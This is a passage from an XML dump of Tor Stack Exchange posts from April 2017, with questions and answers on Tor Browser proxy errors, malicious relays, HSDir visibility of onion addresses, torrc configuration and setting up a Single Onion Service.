&lt;strong&gt;TorLauncher&lt;/strong&gt; disabled. Now I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to find the proxy server&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Firefox is configured to use a proxy server that can't be found.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Check the proxy settings to make sure that they are correct.&lt;/li&gt;&#xA;  &lt;li&gt;Check to make sure your computer has a working network connection.&lt;/li&gt;&#xA;  &lt;li&gt;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it seems that the browser is still looking for a proxy server to connect to, even after I disabled that option in the Network Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to find something else that might get the job done, but without success. I am still looking. Would anyone happen to know the solution?&lt;/p&gt;&#xA;" OwnerUserId="17249" LastActivityDate="2017-04-26T05:44:37.373" Title="Turning off the proxy part of Tor" Tags="|tor-browser-bundle|configuration|network-configuration|proxy|" AnswerCount="0" CommentCount="2" ClosedDate="2017-04-26T22:35:36.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="14651" PostTypeId="1" AcceptedAnswerId="14652" CreationDate="2017-04-26T07:25:40.537" Score="1" ViewCount="118" Body="&lt;p&gt;How does tor handles nodes designed just to screw it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way i understand it entry node connects to node 2. which connects to node 3.(exit nodes) now all the traffic is encrypted and encryption i understand. But what if node is designed to attack tor network and make it unreliable and just pass on the wrong traffic. For example if node was supposed to pass encrypted string 'aaaa' instead it passes 'bbbb' just to screw up tor in general and a random tor user. Would tor network be able to isolate the node that is messing up the network, if so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does tor handle it and are there any mechanisms to prevent that?&#xA;I rly don't understand what guarantees entry node that it will  get data it requested (data integrity) ?&lt;/p&gt;&#xA;" OwnerUserId="17251" LastActivityDate="2017-04-26T15:52:13.227" Title="How Tor handles nodes designed to burn it" Tags="|protocol|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14652" PostTypeId="2" ParentId="14651" CreationDate="2017-04-26T07:52:32.197" Score="1" Body="&lt;p&gt;You probably want to have a look at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;Report Bad Relays&lt;/a&gt; wiki entry. As you can see in the wiki entry you can report bad relays and there are also automated tools to detect tempering (bottom of the wiki entry.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing about an anonymity network is that relays can't distinguish between the different users including scanners that test for tempering. Of course if HTTP&lt;del&gt;S&lt;/del&gt; is used you might never know if anyone tempered with your traffic just like in the regular Internet.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-26T07:52:32.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14653" PostTypeId="1" AcceptedAnswerId="14654" CreationDate="2017-04-26T13:58:39.513" Score="1" ViewCount="190" Body="&lt;p&gt;Is it possible that a HSDir can see visited onion urls? &#xA;If I make a onion website and my friend visits it could there be a way that someone can capture the url he used? (the .onion url).&lt;/p&gt;&#xA;" OwnerUserId="17256" LastEditorUserId="88" LastEditDate="2017-04-27T07:11:42.547" LastActivityDate="2017-04-27T07:11:42.547" Title="Can a HSDir see visited onion url's?" Tags="|onion-services|onion-routing|deanonymization|hsdir|" AnswerCount="1" CommentCount="0" ClosedDate="2017-04-26T22:34:15.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="14654" PostTypeId="2" ParentId="14653" CreationDate="2017-04-26T14:06:53.763" Score="2" Body="&lt;p&gt;Yes, currently HSDirs can see the looked up .onion hostname. This does not include the full URL but just the .onion hostname. &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal 224&lt;/a&gt; (ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12424&quot; rel=&quot;nofollow noreferrer&quot;&gt;#12424&lt;/a&gt;) will fix this issue. See also &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8106&quot; rel=&quot;nofollow noreferrer&quot;&gt;#8106&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make the page accessible to your friends only the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HiddenServiceAuthorizeClient&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HiddenServiceAuthorizeClient&lt;/code&gt;&lt;/a&gt; option might be something that could interest you.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-04-26T18:54:24.017" LastActivityDate="2017-04-26T18:54:24.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14655" PostTypeId="2" ParentId="14651" CreationDate="2017-04-26T15:52:13.227" Score="0" Body="&lt;p&gt;It's clear that you don't understand encryption, despite your claim.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;if node was supposed to pass encrypted string 'aaaa' instead it passes 'bbbb'&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No node knows what encrypted strings it is passing. It can only read those encrypted to itself, not those encrypted to other relays and since it is encrypted it could not reliably change &quot;aaaa&quot; to &quot;bbbb&quot;.&#xA;It &lt;em&gt;could&lt;/em&gt; change some plaintext it doesn't know to some random value that it couldn't predict but the change would be detectable and make the cell it was passing invalid. This would result in the client or relay dropping the cell as invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would result in an error, a user investigating this error may discover that a relay was misbehaving and report it to &lt;code&gt;bad-relays&lt;/code&gt;, who would try to see if the relay was being malicious, if it was it would be removed from the consensus and users would no longer user it.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-26T15:52:13.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14661" PostTypeId="1" CreationDate="2017-04-27T16:18:29.243" Score="0" ViewCount="86" Body="&lt;p&gt;What does it mean? This is the latest version of the Tor expert bundle. The error appears regularly on the cmd terminal window.&lt;/p&gt;&#xA;" OwnerUserId="17226" LastActivityDate="2017-05-26T17:08:23.687" Title="&quot;Failure from drain_fd: No error&quot; Tor Windows" Tags="|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14663" PostTypeId="1" CreationDate="2017-04-28T05:40:37.303" Score="2" ViewCount="834" Body="&lt;p&gt;There are 9 &lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory authority servers&lt;/a&gt;. Six of them are located in the EU, and three in the USA. There is not a single authority in Asia, Africa, Australia or South America.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason for this distribution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this distribution cause any disadvantages for relays or users outside of Europe or America? Like higher latency, or lower bandwidth for relay measurements?&lt;/p&gt;&#xA;" OwnerUserId="17265" LastActivityDate="2017-04-28T09:05:02.413" Title="How are the Directory Authorities chosen?" Tags="|relays|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14664" PostTypeId="2" ParentId="14663" CreationDate="2017-04-28T09:05:02.413" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Could this distribution cause any disadvantages for relays or users outside of Europe or America? Like higher latency, or lower bandwidth for relay measurements?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but for most cases this wont be seen, the consensus is not that large to download (2mb). And there is a &lt;a href=&quot;http://ea5faa5po25cf7fb.onion/projects/tor/ticket/13339&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposal&lt;/a&gt; made in a GSoC project that seeks to make it less expensive for clients with low bandwidth to get the consensus.&lt;/p&gt;&#xA;" OwnerUserId="17276" LastActivityDate="2017-04-28T09:05:02.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14666" PostTypeId="1" AcceptedAnswerId="14667" CreationDate="2017-04-28T13:54:20.127" Score="1" ViewCount="2579" Body="&lt;p&gt;I'd like to extend the Docker image &lt;a href=&quot;https://hub.docker.com/r/rdsubhas/tor-privoxy-alpine/~/dockerfile/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hub.docker.com/r/rdsubhas/tor-privoxy-alpine/~/dockerfile/&lt;/a&gt; to include exposing the Tor control port at 9051. This would involve, after installing &lt;code&gt;tor&lt;/code&gt; on the container, to make some modifications to &lt;code&gt;/etc/tor/torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm not able to find this file after installing Tor on Alpine Linux. First I run Alpine Linux in a container using the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;docker run -it --rm alpine:latest /bin/ash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I run the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apk --update add tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which results in an &lt;code&gt;OK&lt;/code&gt; confirmation. But if I thereafter try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cat: can't open '/etc/tor/torrc': No such file or directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why doesn't &lt;code&gt;apk --update add tor&lt;/code&gt; produce an &lt;code&gt;/etc/tor/torrc&lt;/code&gt; configuration file?&lt;/p&gt;&#xA;" OwnerUserId="17279" LastActivityDate="2017-04-28T14:32:10.373" Title="Can't find the /etc/tor/torrc file on Alpine Linux" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14667" PostTypeId="2" ParentId="14666" CreationDate="2017-04-28T14:32:10.373" Score="5" Body="&lt;p&gt;You'd really have to ask the people behind Alpine why they decided to pack it that way. If you need a torrc copy the template from &lt;code&gt;etc/tor/torrc.sample&lt;/code&gt;. In many cases the defaults, which are used if &lt;code&gt;torrc&lt;/code&gt; doesn't exist, are already enough.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-28T14:32:10.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14668" PostTypeId="2" ParentId="4225" CreationDate="2017-04-28T15:51:16.003" Score="1" Body="&lt;p&gt;Instagram works very well with Orbot on android, I personally use it daily with 'transparent proxying' enabled on my phone.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-04-28T15:51:16.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14669" PostTypeId="1" CreationDate="2017-04-28T20:56:29.527" Score="1" ViewCount="438" Body="&lt;p&gt;How do you setup Tor Browser as a regular browser? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want everything working just like with a regular browser, all tracking cookies etc. working just with relay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I am trying to foolproof a website that has an affiliate program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to setup Tor as a regular browser where the tracking information gets send back to the server as 'HEY affiliate 45878 has received a lead from UK'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible currently with Tor only?  &lt;/p&gt;&#xA;" OwnerUserId="17260" LastEditorUserId="16657" LastEditDate="2017-04-28T23:04:35.377" LastActivityDate="2017-04-28T23:04:35.377" Title="Setup Tor Browser as a regular browser" Tags="|browsers|" AnswerCount="1" CommentCount="0" ClosedDate="2017-04-28T23:01:07.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="14670" PostTypeId="2" ParentId="14669" CreationDate="2017-04-28T21:33:38.433" Score="0" Body="&lt;p&gt;I doubt it. Tor Browser has been design exactly to stop such tracking attempts. It would appear to me that you want to use a regular browser with Tor (Tor the proxy not Tor Browser.)&lt;/p&gt;&#xA;&lt;p&gt;To make a regular browser use Tor, you'll have install Tor and configure a browser to use it as a proxy.&lt;/p&gt;&#xA;&lt;h1&gt;A Word of Warning&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;Based on your question, I assume that anonymity isn't the reason you want to use Tor. You should be aware that in this setup does not provide any anonymity, even your real IP might me leaked. Regular browsers are simply not design to guard against this.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h1&gt;1. Install Tor&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;on Linux:&lt;/strong&gt; Just install tor via package manager. If you want a more up-to-date Tor version take a look at the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;expert guides&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;on Windows:&lt;/strong&gt; Duckduckgoing for it indicate that you need the &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;expert bundle&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;on Mac:&lt;/strong&gt; The &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-osx.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; appears to have some instructions.&lt;/p&gt;&#xA;&lt;h1&gt;2. Configure Firefox&lt;/h1&gt;&#xA;&lt;p&gt;Open the preferences then go to Advanced → Network → Settings and change your proxy settings like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JwgaU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JwgaU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Should also work with other browsers, you just need to find the proxy settings.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-04-28T21:33:38.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14671" PostTypeId="1" CreationDate="2017-04-29T09:27:51.727" Score="1" ViewCount="137" Body="&lt;p&gt;Watching videos via Tor in fullscreen stutters.&lt;br/&gt;&#xA;Is there a way to fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried enabling hardware acceleration but it still stutters.&#xA;I know that flash player is disabled because of security reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I set up a personal bridge on a second computer with tails and connect to that bridge with tor and flash player? Would it make it safer? &lt;/p&gt;&#xA;" OwnerUserId="17287" LastEditorUserId="10777" LastEditDate="2017-04-30T23:02:44.330" LastActivityDate="2017-05-01T22:46:16.083" Title="html5 fullscreen" Tags="|html5|" AnswerCount="0" CommentCount="2" ClosedDate="2017-05-01T22:46:49.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="14672" PostTypeId="1" AcceptedAnswerId="14676" CreationDate="2017-04-29T13:59:56.877" Score="1" ViewCount="1303" Body="&lt;p&gt;Using Tor (not the TBB), therefore I must compose my torrc config files manually. Using bridges that I get from &quot;bridges.torproject.org&quot;.&#xA;Assume the &quot;torrc&quot; in use has &lt;em&gt;more than one&lt;/em&gt; 'Bridge' lines in it, my question is: does &lt;em&gt;tor&lt;/em&gt; try the Bridges in order until one is found which answers the (whatever) protocol handshake, or will it try only one and stall, ignoring extra 'Bridge' lines, in case the first specified bridge is down or otherwise &lt;em&gt;kaput&lt;/em&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, while the torproject site will usually give me 3 bridges at a time to try from, is it any useful to have the 3 of them at the same time, as 3 successive torrc lines, or should I select just one at a time, removing/replacing a nonworking's bridge line ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to check how the TBB manages &quot;its&quot; torrc since I don't use that...&lt;/p&gt;&#xA;" OwnerUserId="14493" LastActivityDate="2017-04-30T00:33:21.547" Title="Mutliple &quot;bridge&quot; lines in torrc" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14674" PostTypeId="1" CreationDate="2017-04-29T18:26:22.483" Score="0" ViewCount="1892" Body="&lt;p&gt;I'm doing some Tor tests, and I want to set up a &quot;Single Onion Service&quot;. However, when I try to set it, Tor Browser crashes when starts (the exact error is: &quot;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the Tor manual, I have written the following lines in the torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceNonAnonymousMode 1&#xA;HiddenServiceSingleHopMode 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I write this and start Tor, Tor crashes. I think I should disable all client-side services, but I do not know how to do it. Can anybody help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attached the current configuration of my torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\Usuario\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\Usuario\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Usuario\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;#ServicioOculto:&#xA;HiddenServiceNonAnonymousMode 1&#xA;HiddenServiceSingleHopMode 1&#xA;HiddenServiceDir C:\Ser_Oc&#xA;HiddenServicePort 80 127.0.0.1:441&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I delete the &lt;code&gt;HiddenServiceNonAnonymousMode 1&lt;/code&gt; and &lt;code&gt;HiddenServiceSingleHopMode 1&lt;/code&gt; lines, or I &quot;disable&quot; them writting&lt;code&gt;HiddenServiceNonAnonymousMode 0&lt;/code&gt; and &lt;code&gt;HiddenServiceSingleHopMode 0&lt;/code&gt;, Tor starts correctly and my hidden service also works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;Windows 10&lt;/code&gt; and &lt;code&gt;Tor Browser 6.5.2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry for my English; English is not my native language).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;============================================================&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;UPGRADE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Well, I'm going to tell you several things (although I have not been able to solve my problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First: Through Tor Browser (and running Tor Browser with administrator privileges), I changed the address of&lt;code&gt;HiddenServiceDirectory&lt;/code&gt; to &lt;code&gt;C:\Users\Usuario\Desktop\Ser_Oc&lt;/code&gt;. However, I had the same problem: everything works fine, but when I add to the file &lt;code&gt;torrc&lt;/code&gt; the lines &lt;code&gt;HiddenServiceNonAnonymousMode 1&lt;/code&gt; and &lt;code&gt;HiddenServiceSingleHopMode 1&lt;/code&gt;, Tor Browser does not start, and displays the following error window: &lt;code&gt;&quot;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I leave here the configuration of the file &quot;torrc&quot; when I did this new test:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\Usuario\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\Usuario\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Usuario\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;#ServicioOculto:&#xA;HiddenServiceNonAnonymousMode 1&#xA;HiddenServiceSingleHopMode 1&#xA;HiddenServiceDir C:\Users\Usuario\Desktop\Ser_Oc&#xA;HiddenServicePort 80 127.0.0.1:441&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second: When I start Expert Bundle (also with administrator privileges), the  command-line interpreter shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 30 13:34:59.879 [notice] Tor 0.2.9.10 (git-1f6c8eda0073f464) running on Windows 8 with Libevent 2.0.22-stable, OpenSSL 1.0.2k and Zlib 1.2.8.&#xA;Apr 30 13:34:59.883 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 30 13:34:59.924 [notice] Configuration file &quot;C:\Users\Usuario\AppData\Roaming\tor\torrc&quot; not present, using reasonable defaults.&#xA;Apr 30 13:34:59.928 [warn] Path for GeoIPFile (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Tor\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Apr 30 13:34:59.928 [warn] Path for GeoIPv6File (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Tor\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Apr 30 13:34:59.931 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 30 13:35:00.000 [notice] Bootstrapped 0%: Starting&#xA;Apr 30 13:35:00.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Apr 30 13:35:02.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Apr 30 13:35:02.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Apr 30 13:35:03.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Apr 30 13:35:03.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I put the &lt;code&gt;torrc&lt;/code&gt; file (with the configuration I have previously set) in &lt;code&gt;C:\Users\Usuario\AppData\Roaming\tor&lt;/code&gt; directory, Expert Bundle does not start: the command-line interpreter where Tor is loading closes after a few seconds. It shows no error.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update 2&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;All right, everything is going well! Firstly, I have managed to start Expert Bundle and configure my service &quot;Single Onion Service&quot;. The problem was this: I used the &lt;code&gt;torrc&lt;/code&gt; file from Tor Browser, so the file &lt;code&gt;torrc&lt;/code&gt; had the directories misconfigured!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have the following doubt. In effect, I have configured the hidden service &quot;Single Onion Service&quot;. In fact, the Expert Bundle command interpreter says that the hidden service has been configured correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 30 19:16:44.217 [notice] Tor 0.2.9.10 (git-1f6c8eda0073f464) running on Windows 8 with Libevent 2.0.22-stable, OpenSSL 1.0.2k and Zlib 1.2.8.&#xA;Apr 30 19:16:44.217 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 30 19:16:44.264 [notice] Read configuration file &quot;C:\Users\Usuario\AppData\Roaming\tor\torrc&quot;.&#xA;Apr 30 19:16:44.264 [notice] HiddenServiceSingleHopMode is enabled; disabling UseEntryGuards.&#xA;Apr 30 19:16:44.264 [warn] HiddenServiceNonAnonymousMode is set. Every hidden service on this tor instance is NON-ANONYMOUS. If the HiddenServiceNonAnonymousMode option is changed, Tor will refuse to launch hidden services from the same directories, to protect your anonymity against config errors. This setting is for experimental use only.&#xA;Apr 30 19:16:44.000 [warn] This copy of Tor was compiled or configured to run in a non-anonymous mode. It will provide NO ANONYMITY.&#xA;Apr 30 19:16:44.000 [notice] The configured onion service directories have been used in single onion mode. They can not be used for anonymous hidden services.&#xA;Apr 30 19:16:44.000 [notice] Parsing GEOIP IPv4 file C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Data\Tor\geoip.&#xA;Apr 30 19:16:44.000 [notice] Parsing GEOIP IPv6 file C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Data\Tor\geoip6.&#xA;Apr 30 19:16:44.000 [notice] Bootstrapped 0%: Starting&#xA;Apr 30 19:16:46.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Apr 30 19:16:47.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Apr 30 19:16:47.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection&#xA;Apr 30 19:16:47.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus&#xA;Apr 30 19:16:47.000 [notice] Bootstrapped 25%: Loading networkstatus consensus&#xA;Apr 30 19:16:49.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&#xA;Apr 30 19:16:49.000 [notice] Bootstrapped 40%: Loading authority key certs&#xA;Apr 30 19:16:49.000 [notice] Bootstrapped 45%: Asking for relay descriptors&#xA;Apr 30 19:16:49.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/7261, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.)&#xA;Apr 30 19:16:52.000 [notice] Bootstrapped 50%: Loading relay descriptors&#xA;Apr 30 19:16:52.000 [notice] Bootstrapped 55%: Loading relay descriptors&#xA;Apr 30 19:16:53.000 [notice] Bootstrapped 60%: Loading relay descriptors&#xA;Apr 30 19:16:54.000 [notice] Bootstrapped 69%: Loading relay descriptors&#xA;Apr 30 19:16:55.000 [notice] Bootstrapped 74%: Loading relay descriptors&#xA;Apr 30 19:16:56.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Apr 30 19:16:56.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Apr 30 19:16:56.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Apr 30 19:16:57.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Apr 30 19:16:57.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand, in the &lt;code&gt;HiddenServiceDir&lt;/code&gt; directory (C:\Users\Usuario\Desktop\lkfajsdflkasjf), I can see three files: &lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;private_key&lt;/code&gt; AND &lt;code&gt;onion_service_non_anonymous&lt;/code&gt;. So, I think everything is well configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I access my to my hidden service from Tor Browser, and I see the circuit, I see six relays yet! Three relay which correspond to my Tor Browser, and then three relays which appear as &quot;(relay)&quot;. My question is: if my hidden service is configured in &quot;Single Onion Service&quot; mode, why do these three relays appear? That is, theoretically my hidden service would have to connect directly to the rendezvous point, right? So, why do these three relays appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put here the current configuration of my torrc file (maybe it can be useful):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Data\Tor&#xA;GeoIPFile C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Usuario\Desktop\tor-win32-0.2.9.10\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;#ServicioOculto:&#xA;SocksPort 0&#xA;HiddenServiceNonAnonymousMode 1&#xA;HiddenServiceSingleHopMode 1&#xA;HiddenServiceDir C:\Users\Usuario\Desktop\lkfajsdflkasjf&#xA;HiddenServicePort 80 127.0.0.1:441&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15985" LastEditorUserId="15985" LastEditDate="2017-04-30T17:32:50.720" LastActivityDate="2017-04-30T17:32:50.720" Title="Problems setting up a &quot;Single Onion Service&quot;" Tags="|configuration|onion-services|windows|one-hop|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
